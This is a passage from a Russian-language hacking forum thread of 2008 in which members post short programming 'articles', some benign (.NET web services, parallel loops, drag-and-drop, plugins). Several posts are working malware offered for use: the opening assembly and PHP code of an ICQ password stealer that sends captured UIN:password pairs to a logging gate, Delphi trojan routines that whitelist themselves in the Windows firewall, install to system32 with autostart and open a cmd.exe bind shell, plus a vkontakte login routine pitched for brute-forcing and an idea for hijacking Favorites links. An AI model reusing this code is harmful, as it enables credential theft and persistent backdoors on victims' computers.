     mov ah,[eax+ecx]
     mov al,ah
     shr ah,4
     and al,0fh
     mov ebx,table
     xlatb
     xchg ah,al
     xlatb
     mov word [edx+ecx*2],ax
     inc ecx
     cmp ecx,[Size]
     jne cicle4
     mov byte [edx+ecx*2],0
     sub edx,url_end-url_start ; вернемся к началу буфера 
     invoke URLDownloadToFile,0,edx,TEdit,0,0 ; сделаем запрос на скачевание файла в котором передадим собранные данные.
     invoke ExitProcess,0
    
    Функцию добавления в буфер используем для уменьшения размера и вообще для удобства
    Code:
    proc AddToBuf,add_buf
     invoke lstrcat,[buffer],[add_buf]
     ret
    endp
    
    Данные которые нам понадобятся для осуществления всех операций
    Code:
     table db '0123456789ABCDEF' ; для конвертирования в HEX
     SeDebugPrivilege db 'SeDebugPrivilege',0 ; для получения привелегий отладчика
     slash db '\',0 
     dvoetochie db ':',0 ; разделитель UIN - PASS
     tzap db '[-]',0 ; конц пары UIN:PASS
    ; название компонентов
     TGroupBox db 'TGroupBox',0 
     TComboBox db 'TComboBox',0
     TManForm db 'TManForm',0
     TMainForm db 'TMainForm',0
     TmainFrm db 'TmainFrm',0
     TEdit db 'TEdit',0
     TprefFrm db 'TprefFrm',0
     TPanel db 'TPanel',0
     TconnectionFr db 'TconnectionFr',0
     url_start db 'http://127.0.0.1/stat.php?data=' ; адрес гейта
     url_end db 0
    
    5. Непосредственно сам гейт
    Code:
    <?
    $data=$_GET['data']; // наши данные
    $out='';
    $f=fopen('ICQ.txt','a+'); // файл куда будем кидать
    while ($x<strlen($data)) // конвертим из HEX в нормальный вид
    {
    $temp=$data[$x].$data[$x+1];
    $out.=chr(HexDec($temp));
    $x+=2;
    }
    fputs($f,date("d.m.Y H:i:s").'[-]'.getenv("REMOTE_ADDR").'[-]'.$out."\r\n"); // запишем в файл полученный результат.
    fclose($f);
    ?>
    
    Полный исходный код + поддержка &RC берем от сюда
    http://forum.antichat.ru/thread71678.html

    -------------------------
    De-V: СТАТЬЯ В КОНКУРСЕ
     
    #8 slesh, 28 May 2008
    Last edited by a moderator: 29 May 2008
    3 people like this.
  9. dos999

    dos999 Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    137
    Likes Received:
    24
    Reputations:
    0
    Читаем COM-порт в 1C с помощью Delphi .Net
    Привет всем обитателям сего сайта =) давнеько я уже ничего не писал, вот наконец выдалось свободное время.
    В настоящее время широкое изобилее языков программирования и сред разработки просто пугает, и прогер решает чем пользоваться чтоб выполнить ту или иную задачу.
    но бывает что возникают ситуёвины когда функциональности языка нехватает для решения задачи, ну не начинать же всё заново в другой среде О_о?
    была у мня как то роботёнка: нужно было написать сервис который бы читал память внешнего устройства (подключеного черз COM), и писал данные в БД Access (всё прошло на ура).
    Через пол года заказчик обратился ко мне с просьбой переделать сервис так чтобы писал он полученные данные не в Access а в таблицы 1С.
    Тут то я и грузанулся как в 1С читать Com порт О_о (сервис я писал на Delphi)? Первое что пришло в голову сделать DLL в которой бы были функции для работы с девайсом, но потом появилась идея лучше На помощь пришла технологи .NET, а именно Web-сервисы созданные на платформа Net.
    всё ремя пользовался Delphi 7, но тут никуда не денишся пришлось иди в ногу со временем, вощем установил я себе Borland Developer Studio 2006 (BDS) и в перёд.

    Код до его модернизации выглядел приблизительно так:
    Code:
     
    type
      TRec = record //объекты этого типа нам необходимо будет передават потом в 1С
        DT: TDateTime; //время события
        ch1: integer;	//два свойства события...
        ch2: integer;	
      end;
    
      function GetData(Sector: integer): TRec;
    
    var
      FBuf: array [0..7] of byte;
      FHandle: DWord;
      FCount: cardinal;
      FOverlapped: TOverlapped;
    
    ....
    
    procedure WriteGetData(SectorNo: word);//отправка команды устройству
    begin	
      FBuf[0] := $01; // команда для чиения данных
      FBuf[1] := SectorNo;// в каестве параметра передаём номер сектора
      Windows.WriteFile(FHandle, Fbuf, 2, FCount, @FOverlapped); // отправляем команду на ком порт
    end;
    
    finction ReadGetData: TRec; //чтение результата с устройства в масив FBuf
    var
      y, m, d, h, m, s: word;
    begin
      Windows.ReadFile(FHandle, Fbuf, 8, FCount, @FOverlapped); //читаем ответ устройства
      y := Fbuf[0];
      m := Fbuf[1];
      d := Fbuf[2];
      h := Fbuf[3];
      m := Fbuf[4];
      s := Fbuf[5];
      result.DT := EncodeDateTime(y, m, d, h, m, s, 0); //возвращаем результат в удобном, красивом виде
      result.ch1 := Fbuf[6];
      result.ch2 := Fbuf[7];
    end;
    
    function GetData(Sector: integer): TRec; //функция которой будет пользоваться 1С
    begin
      WriteGetData(Sector);
      result := ReadGetData;
    end;
    
    теперь нам предстоит модернизировать всё это дело под веб сервис с помощью .net


    Code:
     
    //в uses добавились модули net
    uses {.NET MODULS}
      System.Collections,
      System.ComponentModel,
      System.Data,
      System.Diagnostics,
      System.Web,
      System.Web.Services,
      Borland.Vcl.SysUtils,
      Borland.Vcl.Variants,
    
    //типы и переменные остаються теми же
    type
      TRec = record //объекты этого типа нам необходимо будет передават потом в 1С
        DT: TDateTime; //время события
        ch1: integer;	//два свойства события...
        ch2: integer;	
      end;
    
      [WebMethod] //объявляем этот метов вебом... т.е. чтобы он был доступен
      function GetData(Sector: integer): TRec;
    
    {ВСЁ ОСТАЛЬНОЕ ТАК ЖЕ... ЬЕЗ КАКИХ ЛИБО ИЗМЕНЕНИЙ}
    
    теперь запускаем веб сервис, и уже можно обращяться к нему ... открываеи браузер пищем свой локальный адрес 127.0.0.1
    и вуаля... что мы видим, а видим мы тот самый метод... и даже можеи его вызывать, мало того, так ещё и ответ в XML-ке получаем.
    вот так вот мы и примирили RS-232 и HTTP. но как вы помните задача первонапчальная стояла совсем другая...
    вот код 1С для обращения к веб сервису
    Code:
     
     Определения = Новый WSОпределения(АдресВебСервиса);
     ВебПрокси = Новый WSПрокси(Определения, Определения.Сервисы[0].URIПространстваИмен,Определения.Сервисы     [0].Имя,Определения.Сервисы[0].ТочкиПодключения[0].Имя);
     Результат = ВебПрокси.GetData(Номер сектора); 
    //обращаемся к методу веб сервиса
    //и получаем результат типа TRec т.к. типы которые используются веб сервисом
    //импортируються в 1С автоматически.	
    
    Итог
    в итоге мы получаем следующую картину: 1С общаеться с внешним устройством (подключеным к ком порту) через веб сервис, это даёт возможность работать с данным устройством всем рабочим станциям в сети (но при этом в коде после обращения к девайсу нужно закрывать ком порт)
     
    #9 dos999, 2 Jul 2008
    Last edited: 2 Jul 2008
    2 people like this.
  10. merax

    merax Member

    Joined:
    3 Jul 2007
    Messages:
    18
    Likes Received:
    6
    Reputations:
    0
    Параллельные вычисления в Microsoft Visual C# (NET Framework 3.5)

    На сегодняшний день развитие индустрии компьютеростроения идет широкими шагами. Растут объемы оперативной памяти, частоты работы процессоров, количество процессоров и их ядер. Не секрет, что даже самый маленький процессор сегодняшнего дня производительностью превосходит процессоры для серверных платформ дня вчерашнего. Но зачастую гигагерцы процессоров и гигабайты оперативной памяти сводятся на нет невозможностью современного софта использовать аппаратные ресурсы на 100%.
    Это понимают и производители программного обеспечения и производители «Железа», стремясь разработать технологию позволяющую «нагрузить» компьютер по «полной». Сегодня мы рассмотрим одно из таких решений.

    1) Библиотека Parallel Extensions to .NET Framework 3.5 от фирмы Microsoft corp. (Подробнее о ней можно почитать в MSDN выпуск - October 2007).

    Итак, для экспериментов нам понадобятся: (Ссылки на программы даны в конце статьи)

    1) Microsoft Windows XP или Vista…
    2) Microsoft .NET Framework 3.5 (Входит в комплект поставки Visual Studio 2008/2008 Express Edition)
    3) Visual Studio 2008 Express Edition.
    4) Библиотека Parallel Extensions to .NET Framework 3.5.

    Parallel Extensions to .NET Framework 3.5

    Скачиваем и устанавливаем библиотеку Parallel Extensions to .NET Framework 3.5. Запускаем Visual Studio и создаем консольный проект на C# for .NET. Щелкаем на вкладке References нашего проекта и выбираем Add Reference. Далее во вкладке Browse находим библиотеку System.Threading.dll (По-умолчанию -> c:\Program Files\Microsoft Parallel Extensions Dec07 CTP\). В редакторе кода дописываем:

    Code:
    [COLOR=Navy]using[/COLOR] System.Threading;
    [COLOR=Navy]using[/COLOR] System.Runtime.InteropServices;
    Теперь наш проект готов для работы на нескольких ядрах. Осталось применить что-нибудь этакое для наглядности. Для начала удостоверимся, что ядер действительно несколько:

    Code:
    [COLOR=Navy]if[/COLOR] (System.[COLOR=Navy]Environment[/COLOR].ProcessorCount < 2)
    {
        [COLOR=Navy]Console[/COLOR].WriteLine([COLOR=DarkRed]"You not have Multi-Core platform\n"[/COLOR]);
    }
    Выведем меню, будем грузить 1 ядро и потом 2…

    Code:
    [COLOR=Navy]Console[/COLOR].WriteLine([COLOR=DarkRed]"If you want test Single-Core platform press 1"[/COLOR]);
    [COLOR=Navy]Console[/COLOR].WriteLine([COLOR=DarkRed]"If you want test Mullti-Core platform press 2"[/COLOR]);
    r = [COLOR=Navy]Console[/COLOR].ReadLine();
    Поможет нам старый добрый switch. Сначала грузим 1 ядро:

    Code:
    [COLOR=Navy]switch[/COLOR](r)
    {
         [COLOR=Navy]case[/COLOR] "1":
                 [COLOR=Navy]for[/COLOR] ([COLOR=Navy]int[/COLOR] i = 0; i < 100000; i++)
                 {
                   [COLOR=Navy]Console[/COLOR].WriteLine([COLOR=DarkRed]"{0} > {1}"[/COLOR], [COLOR=Navy]Math[/COLOR].Pow(i, 2.0).ToString(), 
                                        [COLOR=Navy]Math[/COLOR].Pow(i, -2.0).ToString());
                 }
                 break;
    Откройте «Диспетчер задач» и посмотрите наглядно, как загружено 1 ядро…
    А теперь распараллелим вычисления:

    Code:
         [COLOR=DarkRed]case[/COLOR] "2":
                 System.Threading.Parallel.For(0, 100000, [COLOR=Navy]delegate[/COLOR]([COLOR=Navy]int[/COLOR] i)
                 {
                       [COLOR=Navy]Console[/COLOR].WriteLine([COLOR=DarkRed]"{0} <-> {1}"[/COLOR], 
                     [COLOR=Navy]Math[/COLOR].Pow(i, 2.0).ToString(), [COLOR=Navy]Math[/COLOR].Pow(i, -2.0).ToString());
                 });
                 [COLOR=Navy]break[/COLOR];
    
         [COLOR=Navy]default[/COLOR]:
         {
                 [COLOR=Navy]Console[/COLOR].WriteLine("Error number");
                 [COLOR=Navy]break[/COLOR];
         }
    Откройте «Диспетчер задач» и посмотрите наглядно, как загружен процессор сейчас!
    Вот мы с вами и научились писать распределенные приложения, балансируя нагрузку на CPU компьютера с помощью Parallel Extensions to .NET Framework 3.5.
    В следующей статье мы рассмотрим, написание многопоточных приложений без использования .NET Framework с помощью библиотеки Intel® TBB (Threading Building Blocks) – кроссплатформенная библиотека для параллельных вычислений от фирмы Intel.

    Parallel Extensions to .NET Framework 3.5
     
    #10 merax, 11 Jul 2008
    Last edited: 11 Jul 2008
    3 people like this.
  11. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Vkontakte авторизация [DELPHI]

    Vkontakte авторизация [DELPHI (WinSock) ]

    ***

    [intro]

    По многочисленным просьбам в ПМ, написал мини статейку про авторизацию на сайте vkontakte.ru (Все на сокетах.)


    [Исходный код с комментариями]

    глобальная переменная.
    Code:
    var
    sBuff:array [1..6000] of char;//буфер для хранения полученного заголовка страницы
    //-------------------------------------------------------
    Code:
    procedure Err(n:integer);//Функция обработки ошибок
      begin if n<>0 then
        begin
    	MessageBox(0,pchar('Error #'+inttostr(WSAGetLastError)),'Error',mb_ok);
    	halt
        end
      end;
    //-------------------------------------------------------
    Code:
    function CopyCookie(s,sBuff:string):string;//Функция для копирования cookie(страница 302)
    var
    text:string;
    i:integer;
     Begin
      text:='';
      For i:=pos(s+'=',sBuff) to Length(sBuff) Do
        Begin
          If sBuff[i]<>';' then text:=text+sBuff[i] else Break;
        End;
      Result:=text;
     End;
    //-------------------------------------------------------
    Code:
    function redirect(sBuff:string):string;//Функция для выдирания id, из set-cookie
    var
    text:string;
      Begin
        text:=trim(copy(sBuff,pos('/id',sBuff),pos('Content-Encoding',sBuff)-pos('/id',sBuff)));
        result:=text;
      End;
    //-------------------------------------------------------
    Описываем переменные.
    Code:
    var
    wData:WSAData;
    s:TSOCKET;
    addr:sockaddr_in;
    email,pass,sendbuff:string;//мыло, пасс, пакет для отправки пост или гет запросов
    PostData:string;//отправляемые данные, мыло с пассом
    //-------------------------------------------------------
    Начинаем, пытаемся загрузить библиотеку.
    Code:
    Begin
      email:=Edit1.Text;//мыло
      pass:=Edit2.Text;//пасс
      if WSAStartup(makeword(1,1),wData)<>0 then
      Begin
        ShowMessage('нет носков');
        exit;
      End;
    Создаем сокет, коннектимся.
    Code:
      s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      FillChar(addr, SizeOf(sockaddr_in), 0);
      addr.sin_family:=AF_Inet;
      addr.sin_port:=htons(80);
      addr.sin_addr.S_addr:=inet_addr('195.190.105.238');//IP vkontakte.ru
      Err(Connect(S,addr,SizeOf(TSockAddr)));
            PostData := '';
            PostData := 'email=' + email+'&'+'pass='+pass ;
            sendbuff := '';
    Формируем запрос(POST), отправляем данные и получаем заголовок от серевера(записываем его в Memo1).
    Code:
            //Формируем пост запрос
            sendbuff := 'POST /login.php HTTP/1.1'+ #13#10 +
                        'Host: vkontakte.ru'+ #13#10 +
                        'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 AdCentriaIM/1.7 Firefox/2.0.0.14 WebMoney Advisor'+ #13#10 +
                        'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'+ #13#10 +
                        'Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3'+ #13#10 +
                        'Accept-Encoding: gzip,deflate'+ #13#10 +
                        'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+ #13#10 +
                        'Keep-Alive: 300'+ #13#10 +
                        'Connection: keep-alive'+ #13#10 +
                        'Referer: http://vkontakte.ru/index.php'+ #13#10 +
                        'Cookie: remixchk=5'+ #13#10 +
                        'Content-Type: application/x-www-form-urlencoded'+ #13#10 +
                        'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData+#13#10+'Connection: close' + #13#10#13#10;
      send(s, sendbuff[1] , Length(sendbuff), 0);//Отправляем пост запрос из SENDBUFF
      application.ProcessMessages;
      recv(s,sBuff,5000,0);//получаем данные и записываем в sBuff
      application.ProcessMessages;
      Memo1.Text:=sBuff;
    //-------------------------------------------------------
    Закрываем сокет.
    Code:
      Err(Shutdown(S,SD_Send));
      Err(closesocket(s));
    //Для написания брутфорса этого было бы достаточно просто выдрали из Set-cookie id пользователя с помощью функции Redirect и все...
    example
    Code:
    Edit3.Text:='http://vkontakte.ru'+redirect(sBuff);
    Но для сбора инфы пользователя, дл отправки сообщений на стены, для приглашения в друзья и т.д. этого не достаточно...(сами разберетесь не сложно:))
    Поэтому просто покажу как попасть в свой профиль):

    Формируем запрос(GET), отправляем данные и получаем заголовок от серевера(записываем его в Memo1).
    Code:
      s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      Connect(S,addr,SizeOf(TSockAddr));
      sendbuff:='';
      application.ProcessMessages;
      Edit3.Text:='http://vkontakte.ru'+redirect(sBuff);
      //Формируем гет запрос
      sendbuff :='GET '+redirect(sBuff)+ ' HTTP/1.1'+ #13#10 +
                        'Host: vkontakte.ru'+ #13#10 +
                        'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 AdCentriaIM/1.7 Firefox/2.0.0.14 WebMoney Advisor'+ #13#10 +
                        'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'+ #13#10 +
                        'Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3'+ #13#10 +
                        'Accept-Encoding: gzip,deflate'+ #13#10 +
                        'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+ #13#10 +
                        'Keep-Alive: 300'+ #13#10 +
                        'Connection: keep-alive'+ #13#10 +
                        'Referer: http://vkontakte.ru/index.php'+ #13#10 +
                        'Cookie: '+CopyCookie('remixchk',sBuff)+';'+' '+CopyCookie('remixmid',sBuff)+';'+' '+CopyCookie('remixemail',sBuff)+';'+' '+CopyCookie('remixpass',sBuff)+ #13#10+ #13#10;
    
      send(s, sendbuff[1] , Length(sendbuff), 0);//Отправляем пост запрос из SENDBUFF
      application.ProcessMessages;
      recv(s,sBuff,5000,0);//получаем данные и записываем в sBuff
      application.ProcessMessages;
      Memo1.Lines.Add('Мы обошли страницу 302'+#13#10+#13#10+sBuff);//Записываем в Memo1 полученные заголовки
    //-------------------------------------------------------
    
    [ВСЕ:)]


    На статью может и не тянет, но просьбу некоторых форумчан я выполнил), да и для многих думаю будет полезным(для новичков)...
    А так ждем пополнения этого топика, хорошими статейками, что бы многим было интересно почитать.
    (здесь постим только статьи, обсуждения не здесь. За дальнейшее использование статьи, автор никакой ответственности не несет...)


    Исходник и экзешник:
    ЗДЕСЬ
     

    Attached Files:

    #11 De-visible, 26 Jul 2008
    Last edited: 12 Nov 2008
    10 people like this.
  12. merax

    merax Member

    Joined:
    3 Jul 2007
    Messages:
    18
    Likes Received:
    6
    Reputations:
    0
    Папка "Избранное", скрытая угроза!​


    На статью это конечно не сильно потянет, но маза имеется. Почему-то все трояно- писатели стремятся подменить запросы которые выдает ему поисковик. Временами это доходит до фанатизма и технологии усложняются. Но мы с вами лентяи и рассмотрим незаслуженно забытых «любителей» избранного. Папочка Favorites, вот кладезь нетленная. Ведь юзер сохранив название понравившейся странички, совершенно не помнит адреса. А если это порно страница? И можно попросить пользователя установить плагин для отображения содержимого? Просто рай какой-то. Итак, код прост. Для простоты юзаем WinAPI функции, файлики с расширением .url и ini по сути одно и тоже…


    Code:
    ::GetPrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPCTSTR Default,  LPTSTR ReturnedString, DWORD strSize, LPCTSTR FileName);
    
    ::WritePrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPTSTR String, LPCTSTR FileName);

    Погуглив на наличие подобного в интернете и нашел только 1 ссылку, но и та на момент написания статьи не работала. Так что копирайт античату. И никто не несет ответственности за использования описанных методов.
    С уважением merax.
     
    #12 merax, 23 Sep 2008
    Last edited: 23 Sep 2008
    1 person likes this.
  13. ronald

    ronald Elder - Старейшина

    Joined:
    27 Mar 2008
    Messages:
    252
    Likes Received:
    42
    Reputations:
    6
    Очень маленькая статья, для маньяков, которые пишут огромные думающие существа и хотят их скрыть

    Delphi code:

    создаем обработчик для формы и в нем прописываем:
    PHP:
    AlphaBlend:=true;
    AlphaBlendValue:=100;
    Сей код делает форму только прозрачной!!! AlphaBlendValue - показатель прозрачности например, если вы сделаете его 10, то вообще не видно
    Также, если мы не хотим, чтобы человек закрыл или запалил прогу, свернув её
    настройте показатели формы BorderIcons везде на False.
    Спасибо, за то что потратили время на чтение.

    Ещё одна mini-статья по Делфи:

    Пойдет речь о том как добавить свою delphi программу в автозапуск или cделать так что бы она запускалась при каждом страте Windows. Для этого нам нужно добавить некоторые записи в реестр Windows. Для начала, в раздел uses добавляем RegisTry. В любом обработчике событий (можно в OnCreate у формы или в OnClick у кнопки) прописываем код приведенный ниже.

    PHP:
    var regtregistry;
    begin
    reg 
    := tregistry.create;
    reg.rootkey := hkey_local_machine;
    reg.lazywrite := false;
    reg.openkey('software\microsoft\windows\currentversion\run'false);
    reg.writestring('progrmma'application.exename); {вместо programma можно вставить что нибудь своё}
    reg.closekey;
    reg.free;
    end;
    -----------
    De-V: Одобрено.
     
    #13 ronald, 27 Sep 2008
    Last edited by a moderator: 27 Sep 2008
    1 person likes this.
  14. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Простые, но всёже полезные функции для различного рода троянов и тому подобных вещей.
    Весь код - на API - по этому легко реализуется в независимо от использования VCL и сторонних компонентов.
    И так приступим.
    1) Обход встроенного в винду фаервола:
    Добавляет саму себя в обход фаера
    Code:
    procedure fuck_xpfw;
    var
     key:longword;
     ValueName:array[0..255] of char;
     Value:string;
    const
    path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';
    
    begin
     if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit;
     GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
     Value:=ValueName+':*:Enabled:RPC';
     RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value));
     RegCloseKey(key);
    end;
    
    2) Копирование себя в windows и прописывает в автозагрузке:

    Code:
    function windir:string; // возвращает путь к папке windows
    var
    a:array[0..144] of char;
    begin
     GetWindowsDirectory(a, sizeof(a)); // получение пути к папке Windows
    result:=a;
    end;
    
    procedure install(name,about:string);
    var
     key:longword;
     s:string;
    begin
      s:=windir+'\system32\'+name;
     CopyFile(pchar(paramstr(0)),pchar(s),false);
     RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
     RegSetValueEx(Key, pchar(about), 0,1, pchar(s), length(s));
     RegCloseKey(Key);
    end;
    
    3) Проверка на повторную загрузку:
    Code:
    function isRun:boolean;
    begin
     CreateFileMapping($FFFFFFFF, nil, 4, 0, 127,'MemFileName');
     if GetLastError=183 then result:=true else result:=false;
    end;
    
    
    4) Шелл:
    C авторизацией
    Code:
    procedure RunShell;
    const
     PORT=1234;
    LOGIN='login';
    var
    StartupInfo:_STARTUPINFOA;
    addr,caddr:tsockaddrin;
    ProcessInformation:_PROCESS_INFORMATION;
    addrlen:integer;
    cl:LongWord;
    l:integer;
    s:string;
    c:char;
    begin
    sock:=WSASocketA(2,1,6,nil,0,0);
    if sock=INVALID_SOCKET then exit;
    addr.sin_family:=AF_INET;
    addr.sin_addr.s_addr:=0;
    addr.sin_port:=htons(PORT);
     bind(sock,@addr, sizeof(addr))=0;
    listen(sock,$7FFFFFFF);
    addrlen:=sizeof(caddr);
    while 1=1 do
     begin
      cl:=accept(sock,caddr,addrlen);
      if cl=INVALID_SOCKET then continue;
      s:='';
      repeat
       l:=recv(cl,c,1,0);
       s:=s+c;
       if length(s)>16 then l:=-1;
      until (l<=0) or (s=LOGIN);
      if l<=0 then
       begin
        closesocket(cl);
        continue;
       end;
      fillchar(StartupInfo,sizeof(StartupInfo),0);
      StartupInfo.cb:=sizeof(StartupInfo);
      StartupInfo.dwFlags:=$100;
      StartupInfo.hStdInput:=cl;
      StartupInfo.hStdOutput:=cl;
      StartupInfo.hStdError:=cl;
      CreateProcessA(nil,'cmd.exe',nil,nil,$00000001,$8000040,nil,nil,StartupInfo,ProcessInformation);
    end;
    closesocket(sock);
    end;
    
    
     
    4 people like this.
  15. scrat

    scrat кодер

    Joined:
    8 Apr 2007
    Messages:
    625
    Likes Received:
    541
    Reputations:
    3
    Недавно столкнулся с проблемой работы с drag&drop для произвольных объектов. Решил тут кратенько описать что к чему.

    По настоящему всё просто. Для объектов windows forms есть реализация drag&drop(сейчас не об этом).Возьмём к примеру программу которая будет строить многоугольник.И сделаем так чтобы каждую вершину можно drag&drop'ить.

    Заведём в нашем классе следующее:
    • private int DDPoint; - точка которую перетаскиваем в данный момент
    • private bool DragDropFlag; - флаг того что пользователь "тащит".
    • List<Point> PointList = new List<Point>(); - список точек

    добавление точек в многоугольник и отрисовку его писать здесь не буду.

    Для начала обработаем нажатие копки(не путать с кликом,клик = нажал и отпустил)
    Code:
         private void Form1_MouseDown(object sender, MouseEventArgs e) 
            {
                if (PointList.Count > 1)
                {
                    for (int i = 0; i < PointList.Count; i++) //перебираем точки
                    {
                        if (e.X <= PointList[i].x + 20 && e.X >= PointList[i].x - 20 && e.Y <= PointList[i].y + 20 && e.Y >= PointList[i].y - 20) //проверка,не  нажали ли на точку
                        {
                            DDPoint = i; 
                            DragDropFlag = true; //если да,то ставим i-ую точку как точку которую мы двигаем и возводим флаг
                            label1.Text = "Sex,drugs, drag and drop!"; //фетиш
                        }
                        if (DragDropFlag == true) break;
                    }
                }
            }       }
    Теперь рассмотрим движение мышки:
    Code:
      private void Form1_MouseMove(object sender, MouseEventArgs e)
            {
                
                if (DragDropFlag == true) //если поднят флаг
                {
                    PointList[DDPoint].x = e.X;
                    PointList[DDPoint].y = e.Y; //меняем x,y нужной точки
                    label1.Text = "Drugs,sex drag and drop!";
                    Refresh(); //перерисовываем
                }
                else  label1.Text = "Координаты: " + e.X + ";" + e.Y;
                
            }
    ну и поднятие мышки:
    Code:
      private void Form1_MouseUp(object sender, MouseEventArgs e)
            {
                DragDropFlag = false;
            }
    Хочу добавить что было бы неплохо добавить Double buffering:
    Code:
      private void Form1_Paint(object sender, PaintEventArgs e)
            {
                DoubleBuffered = true;
         ......
    
    Скачать исходник
     
    2 people like this.
  16. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Ну кагбе хекаем мышку ламера=))

    Взлом компьютерной мышки=))
    Вот начал я изучать ассембер и не удержался чтоб не написать какую то программу шутку:).Эта программа не повредит компьютеру, а только изменит расположение кнопок мыши и напугает ламера:)).
    Что нам потребуется:
    1)Компилятор masm32 или tasm, разница в синтаксисе минимальна но советую взять masm32, потому что объяснять я буду именно по нему.
    2)Любой текстовый редактор.
    3)Прямые руки и голова на плечах.
    Первые строки.
    Code:
    .386 
    .model flat,stdcall 
    option casemap:none 
    include C:\masm32\INCLUDE\WINDOWS.INC 
    include C:\masm32\INCLUDE\KERNEL32.INC 
    include C:\masm32\INCLUDE\USER32.INC 
    include C:\masm32\INCLUDE\ADVAPI32.INC 
    includelib C:\masm32\lib\comctl32.lib 
    includelib C:\masm32\lib\user32.lib 
    includelib C:\masm32\lib\gdi32.lib 
    includelib C:\masm32\lib\kernel32.lib 
    includelib C:\masm32\lib\user32.lib 
    includelib C:\masm32\lib\advapi32.lib 
    Разберемся в вышенаписаном:
    .386-этой строкой мы говорим нашему компиятору, что намеpеваемся использовать набоp инстpукций пpоцессоpа 80386. .Model flat, stdcall говоpит MASM'у, что наша пpогpамма будет использовать плоскую модель памяти.
    Далее мы подгружаем инклудники и библиотеки.
    .data
    В области дaнных у нас будет 2 строки:
    Code:
    HINST DWORD 0 
    Code:
    strHack db "I hacked you mouse!",0 
    Они выведут текст "I hacked you mouse!"
    .CODE
    В области кода мы имеем:
    Code:
    start: 
    invoke SwapMouseButton,1 
    invoke MessageBox, 0 , addr strHack, addr strHack , 0 
    exit: 
    invoke ExitProcess , 0 
    Давайте разберем все по полочкам.
    start:– указывает на начало исполняемого кода.
    invoke SwapMouseButton,0– прикрепляем API функцию SwapMouseButton с параметром 1(Эта функция и меняет кнопки мыши местами).
    invoke MessageBox, 0 , addr strHack, addr strHack , 0 – эта API функция выводит окно с сообщением.
    addr strHack указывает на текст сообщения который мы указали выше.
    exit: - указывает на код завершения программы.
    invoke ExitProcess , 0 – завершение программы после нажатия кнопки ok.
    Ну и самая последняя строка- это end start – она указывает на конец участка кода.
    Вот мы и закончили с программной частью.
    Компиляция.
    Для компиляции нашей программы мы напишем 2 простеньких батника, что бы не мучатся каждый раз вбивая комманду в консоли...
    Первый батник:
    Code:
    @ echo ----OBJ---- 
    @ c:\masm32\bin\ml.exe /coff /c .\ISHODNIC\mouse.asm
    Его и запускаем первым.
    Второй:
    Code:
    @ echo ----EXE---- 
    @ if EXIST pirat.obj c:\masm32\bin\link.exe /SUBSYSTEM:WINDOWS .\mouse.obj 
    Если в написание кода вы не допустили ошибок,то программа скомпилится удачно.Можети идти разводить ламеров=))
    Теперь давайте разберемся как от этого избавится.
    А это предельно просто:
    Замените параметр SwapMouseButton с 1 на 0 и всё.
    Вот мы и написали простинький «Вирус» и «Антивирус».
    Полный текст программы:
    Code:
    .386 
    .model flat,stdcall 
    option casemap:nonе 
    include C:\masm32\INCLUDE\WINDOWS.INC 
    include C:\masm32\INCLUDE\KERNEL32.INC 
    include C:\masm32\INCLUDE\USER32.INC 
    include C:\masm32\INCLUDE\ADVAPI32.INC 
    includelib C:\masm32\lib\comctl32.lib 
    includelib C:\masm32\lib\user32.lib 
    includelib C:\masm32\lib\gdi32.lib 
    includelib C:\masm32\lib\kernel32.lib 
    includelib C:\masm32\lib\user32.lib 
    includelib C:\masm32\lib\advapi32.lib 
    .data 
    HINST DWORD 0 
    strHack db "I hacked you mouse!",0 
    .code 
    start: 
    invoke SwapMouseButton,0 
    invoke MessageBox, 0 , addr strHack, addr strHack , 0 
    exit: 
    invoke ExitProcess , 0 
    end start 
    Ну вот и всё!
    С вами был m0rgan.
    Удачи во всех начинаниях!
    P.S.:Статейка расчитана на (!!!)новичков в асме...
     
  17. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    Использование плагинов в .NET

    Введение
    Данный материал ни на что не претендует.
    Сегодня просто стало интересно, как же использовать плагины в .NET?
    Если в Win32 это LoadLibrary & GetProcAddr, то в .NET это ...?
    P.S. надеюсь орфографических ошибок не будет =)

    ссылка на сорцы и бинарники - http://www.sendspace.com/file/72o96u
    Требования: .NET Framework 2.0

    Извиняюсь за отсутствие комментов в коде
    На чем будет все базироваться?
    Грубо говоря все основывается на интерфейсе, который должен быть реализован в плагине.
    Расмотрим интерфейс который я использовал:
    PHP:
    public interface IPlugin
        
    {
            
    string Description get;}

            
    object Calc(int xint y);
        }
    Тут 2 поля.
    1 - string Description - аксессор. Возращает описание плагина;
    2 - object Calc - функция. Принимает 2 параметра int типа, возвращает объект - object, который можно конвертнуть в необходимый.
